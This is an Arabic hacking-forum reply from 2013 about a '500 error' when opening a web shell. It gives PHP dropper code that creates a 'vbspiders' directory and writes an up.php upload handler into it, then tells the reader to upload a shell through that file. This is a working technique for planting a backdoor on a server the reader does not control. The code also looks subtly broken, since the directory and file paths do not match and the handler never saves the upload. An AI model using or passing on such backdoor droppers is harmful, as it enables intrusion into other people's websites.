عرض مشاركة واحدة
قديم 04-19-2013, 12:30 AM   رقم المشاركة : 10 (permalink)
معلومات العضو
MaFia
../Cody
 
الصورة الرمزية MaFia
 

 

 
إحصائية العضو








MaFia غير متواجد حالياً

إرسال رسالة عبر Yahoo إلى MaFia

 

 

إحصائية الترشيح

عدد النقاط : 16
MaFia is on a distinguished road

افتراضي رد: Internal Server Error 500 عندا استعراض الشيل


المبرمج زكي وعامل تغير اسم الملفات اللي باسم
.htaccess
ومن الطبيعي ان هالملف بيأخد تصريح 111

شوف اخر طريقه
نستخدم دالة
mkdir في عمل مجلد جديد وبعدها دالة fopen في انشاء ملف
وهذا الملف هيتم حقن فيه كود ابلود

تعمل ملف بي اتش بي وتضع بداخله

اقتباس
<?
@mkdir('vbspiders',0777);
$h = @fopen ('.vbspiders/up.php','w');
$hta = '<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Stored in: " . $_FILES["file"]["tmp_name"];
}
?> ';
@fwrite($h , $hta);
?>

وبعدها تستعرض الملف هيظهر معك نفس المشكله
لكن
لاحظ الكود السابق

في مجلد هيتم عمله تلقائي وهو اسمه
vbspiders
وبداخله ملف اسمه
up.php
وبداخله اكشن ابلود يمكنك رفع شل عن طريقه

اقتباس
localhost/admin/vbspiders/up.php

جرب وقولي النتيجه
التوقيع

"إن للناس وجها شريرا وآخر طيبا والذكاء هو التعامل مع الجزء الطيب

من كل إنسان تقابله في حياتك